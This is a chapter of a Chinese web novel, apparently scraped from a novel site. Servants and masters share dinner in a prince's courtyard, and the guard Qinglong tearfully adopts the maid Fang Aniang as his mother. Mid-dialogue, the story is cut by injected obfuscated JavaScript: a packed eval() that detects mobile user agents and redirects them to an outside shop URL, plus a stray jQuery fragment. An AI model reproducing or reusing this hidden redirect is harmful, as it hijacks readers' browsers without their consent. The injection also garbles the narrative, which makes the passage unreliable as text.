晚饭是大家一块吃的,许是跟青龙学的,这会儿一群人蹲在院门口,各个手里抱着大饭碗。
原本只有四人,现在觉缘也自然加入他们的行列。
一行六人,房阿娘诧异地左右看看,一边惊奇皇子府的主子接地气,一边又感叹,原来不是所有贵人都像尉迟府的主人家那样讲究细致。
她就蹲在尉迟嫣和沛儿中间,想问问尉迟嫣,但看她身边蹲着的那位大口扒饭的四皇子,心里颤了颤。只好微微侧脸去问沛儿,但沛儿吃相豪迈,她看了看欲言又止。
左右吃得正香,房阿娘看着自己碗里和主人家置办一样的饭食,心尖被触动,没由来鼻头一酸,眼底再次盈满热泪。
“呀,房阿娘咋不吃啊?饭菜不合胃口吗?”
青龙吃得多,又吃得快,房阿娘还沉浸在自己的思绪里感动时,他已经端着第二碗回来,蹲下之后侧眸看了一眼,又说道:“这天的菜都是今早刚采买回来的,还新鲜着呢!”
他头脑简单,天天乐呵,最爱干饭,江湖人称“饭桶王”。
其他人都忙着吃,就他多看了两眼,随口两句,霎时就将其他人的目光全部吸引,往房阿娘那儿看去。
房阿娘尴尬地吸了吸鼻子,笑道:“没有,我就是,就是眼睛太干,风一吹有些不舒服。”
沛儿毫不怀疑她说的,赶紧手脚麻利的把碗放在跟前的地上,然后扭身去给她看看眼睛。
“房阿娘,赶紧给我看看,眼睛疼不疼啊?”
房阿娘哪能让她当着主人家的面,就这样大胆的,连忙动手拦下她,眼神带了些责怪。
可偏偏沛儿看不懂,青龙在她身边扒饭,照样也看不懂,傻傻道:“房阿娘,您眼睛还疼啊?咋都斜眼看人了呢?是不是挺严重的,要不等我吃完这碗,我去给您找个大夫回来看看?”
房阿娘:“……”
打败她的不是心眼子多,而是没有心眼子。
尉迟嫣知道她在想什么,但没有点明,只是从旁边幽幽来一句,“先吃饭,吃饭完,咱们坐下来细细说。”
李梵附和,“是啊,是啊,先吃饭再说。”
“吃吃吃,你就知道吃。”觉缘吃两口就忍不住怼一句。
李梵:“……”
不止爱会消失,师徒情也会消失。
房阿娘或许是觉得主人家这样和下人们混在一块吃饭并不好,和沛儿嘀咕了两句之后,忍不住转头就和尉迟嫣说起。
“小姐。”她谨慎地看了一眼尉迟嫣身边的李梵,看人没有转过头来,压低声音说:“小姐,皇子府上的主子这样和我这个下人混在一块吃饭不好,要是被外人看见,是会被说闲话的。”
“房阿娘就是为了这件事情?”
尉迟嫣不以为意,扎实扒了一口饭,专门捡了一块肘子肉丢进嘴里,咂吧着嘴,笑道:“别担心,阿巳人很好的,不会计较这些。而且,咱们关起门来吃饭,怎么可能会让人看见。房阿娘别担心,以后你也是府上的人,这些规矩都是阿巳定下的,他也乐意。”
“小姐啊。”房阿娘说不感动是假,但就怕尉迟嫣将自己要来,是花了大钱买了自己的卖身契,担心地说:“小姐,您让大小姐带我过来,是不是也花了不少的银子。今个儿过来之前,在尉迟府上,大小姐和那位云小姐的母亲还拌了几句嘴。大小姐过来之后,脾气难免不好,与殿下争执了几句。大小姐虽然脾气不好,但常是嘴硬心软的,带我出尉迟府也是为难了她。小姐,您花了多少银子告诉我,我在尉迟府这么多年也攒了不少银子。当时想着日后留给沛儿置办嫁妆的,如今应当是不需要了。花了多少银子,我自己贴上一点是一点,也不叫您在殿下面前为难。”
“哪里为难了,房阿娘你且放宽心。”尉迟嫣笑嘻嘻说:“长姐带你一过来没花费一分一毫,再说我与长姐做了交易。就说回门那日,我让她想清楚了,就带你过皇子府来。我和她之间若是谈银子就生分了,我们算是各取所需。”
“没花一分一毫?”
尉迟嫣肯定地点头,“对,没花一分一毫,你就安心在府上住下吧。”
“小姐啊,您真是我的大恩人。”
“欸,房阿娘你才是我的大恩人。”尉迟嫣没有顾忌的大吃几口,“小时候,长姐不给我饭吃,多亏你背着她多给我留了那么多。”
“可是,也是大小姐吩咐……”
“我知道,是母亲不想给我饭吃,要饿死我。长姐虽然每日没个好脸给我,但她偷偷找到你,让给沛儿留饭的时候,给我也留一份。你也知道我从小饭量就大,给我留沛儿那样的份量,我压根是吃不够的,所以你多留一些我都知道。”
她也不见得有多难过,只是细数旁人的好,“长姐知道我的本事,想要在皇位厮杀的斗争中保住她母亲,所以将她母亲的过错揽至己身。我就念在她幼时违背她母亲的意愿帮过我,功过相抵,就此作罢吧。”
“你们对我的好,我都一一放在心上,凡事能帮则帮。况且沛儿与我情同姐妹,你又是她养母,我怎么也不能留你一个人在龙潭虎穴里挣扎。长姐回府之后,应当会对你的事情有所交代。你就暂且不要随意出门,等着这阵子的风头过了,出门采买什么的,你要还愿意,随你高兴。”
“小姐……”
房阿娘心中甚是感动,听她说了诸多,不自觉眼中蓄满泪水,声音哽咽颤抖地说:“您是难得的好人啊!旁人若是遭了您这样的磨难,得了权势在手,势必是做不出这样大度的事情。也就只有您,能总念着我们这样不值一提的人的好,这让我们这些当牛做马的人,如何是好啊?怕是想给您世世代代祈福,都还觉得不够。”
“房阿娘言重了,我只是做了我想做的事情,谈不上什么好不好的。”
她嘿嘿一笑,单手端着饭碗,傻傻地挠了挠头。
也没人跟她说,穿这儿来,就做了这么一丁点儿芝麻大小的好事,就让人感激不尽,怪害羞的,嘿嘿嘿。
虽说人心难测,但人心质朴也是难得。
她说好不好,说坏不坏,正好全部都碰上了。
尉迟嫣觉得自己不算大度,但贵在真诚和善。就算是要做什么旁人喊打喊杀的坏事,居然还会有人拥护,实在稀奇。
这算是拨得云开见月明。
“呜呜呜……太好哭了……”
在这样温馨的时刻,青龙一阵鬼哭狼嚎的哭喊,成功再次吸引所有人的目光而去。
他无所察觉,边吃边哭,边哭还边张着大嘴,嘴里满是饭菜,毫无形象可言的哭。
沛儿蹲他身边,被他这突如其来的死动静,吓得浑身一哆嗦,只能苦着脸问道:“我的青龙大人呀,您老这又是怎么了?”
回应她的只有青龙泣不成声地嚎叫,“呜呜呜……我,我太感动了……呜呜……沛儿呜呜,你这个……丫头命真好……呜呜……”
沛儿:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145172|136066||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
……”
此番场景让他内心感动到想当场认个娘,说干就干。
“房阿娘。”青龙吸吸鼻子,红着眼眶,一脸正气地问道:“您还缺儿子吗?”
房阿娘第一回和他多说两句,哪知道他是个什么德行。
她扭脸去看她,茫然道:“啊?大人问这个做什么?”
“您还缺一个像我这样的儿子吗?”他十分认真,“过年不要压岁钱,也不用给我准备娶媳妇儿的聘礼,衣食住行都在主子府上。我虽然能吃,吃得还多,但是我都是吃主子家的,不用您养我。多我一个不多,少我一个好字缺一半。”
“青龙大人,我和你心连心,你跟我玩脑筋!”沛儿总算是知道他明摆的意思了,当即怼回去,“哪有你这样硬抢着,上赶着喊别人的娘做娘的!”
“房阿娘又没儿子,我叫她娘怎么了?我就叫,我就叫!”
青龙不管不顾,张嘴就来,“娘!娘!娘!”
沛儿骂道:“你不要脸!那是我娘!”
“……”
两人吵吵闹闹,骂骂咧咧。房阿娘相劝不知道从何下嘴,只能又转头去看尉迟嫣。
“哎呀。”尉迟嫣抬手拍拍她的后背,示意她不要担心,“房阿娘,就随他俩去吧。总归是喜欢三天一小吵,五天一大吵的。读书识字也是一样,两个都是争强好胜的,做兄妹也好,做对头也罢,总归都是死犟死犟的。”
“不过青龙说得也在理,你形单影只这么多年,有两个养育的孩子在身边,不是亲生却胜似亲生,也算热闹。”
房阿娘听她说得在理,侧脸回去看还吵得热火朝天的两个孩子,担惊受怕了一天,这会儿脸上总算是露出一点笑容。
她点点头,“小姐,您说得也对。”
“沛儿啊,你和大人……”
尉迟嫣截断她的话,说了一嘴,“房阿娘,他叫青龙,今年十七。”
“好好好。”房阿娘顿首,“那个,沛儿,你和青,青龙先别吵了,就听我说一句。”
二人战火登时戛然而止,同步转身去看她。青龙还怕自己没优势,蹲着走出小碎步,紧贴着墙在沛儿身边蹲着。这期间,还被沛儿不高兴的撞了一肘,他也不在意,满心满眼,就是房阿娘。
“娘。”
房阿娘抬手打断他的话,笑得和蔼,“你愿意认我做娘,我也应下。沛儿今年十五,比你小两岁,算是你妹子。今儿个认了,你这个做大哥的,出门在外可不能让你妹子被人欺负了去,晓得吗?”
青龙忙不迭点头,笑呵呵道:“晓得,晓得,娘说的我都晓得。”
“听小姐说,你们都跟了师傅学习,那就好好学。”房阿娘眼眶微红,看着跟前的两个孩子,触动心中柔软,笑着点头,“娘不指望你们成才,只希望你们要记得主子家的大恩大德。凡事尽心尽力,无愧于心。”
房阿娘早年死了丈夫,如今儿女双全。
“都听娘的。”
青龙自小被遗弃荒野,终于在他十七岁这年的年初,有了娘和妹妹。
沛儿瞥了眼青龙,嘴角的弧度有些压不住,“我也都听娘的。”
沛儿是房阿娘逃荒路上捡的弃婴,自小有娘,不过十五岁的时候,有了个哥哥。
至此,失落的娘仨胜利会师。
青龙不由得喜极而泣,抱着自己的饭碗,屁颠屁颠就跟李梵炫耀。
“殿下,我也有娘亲了。”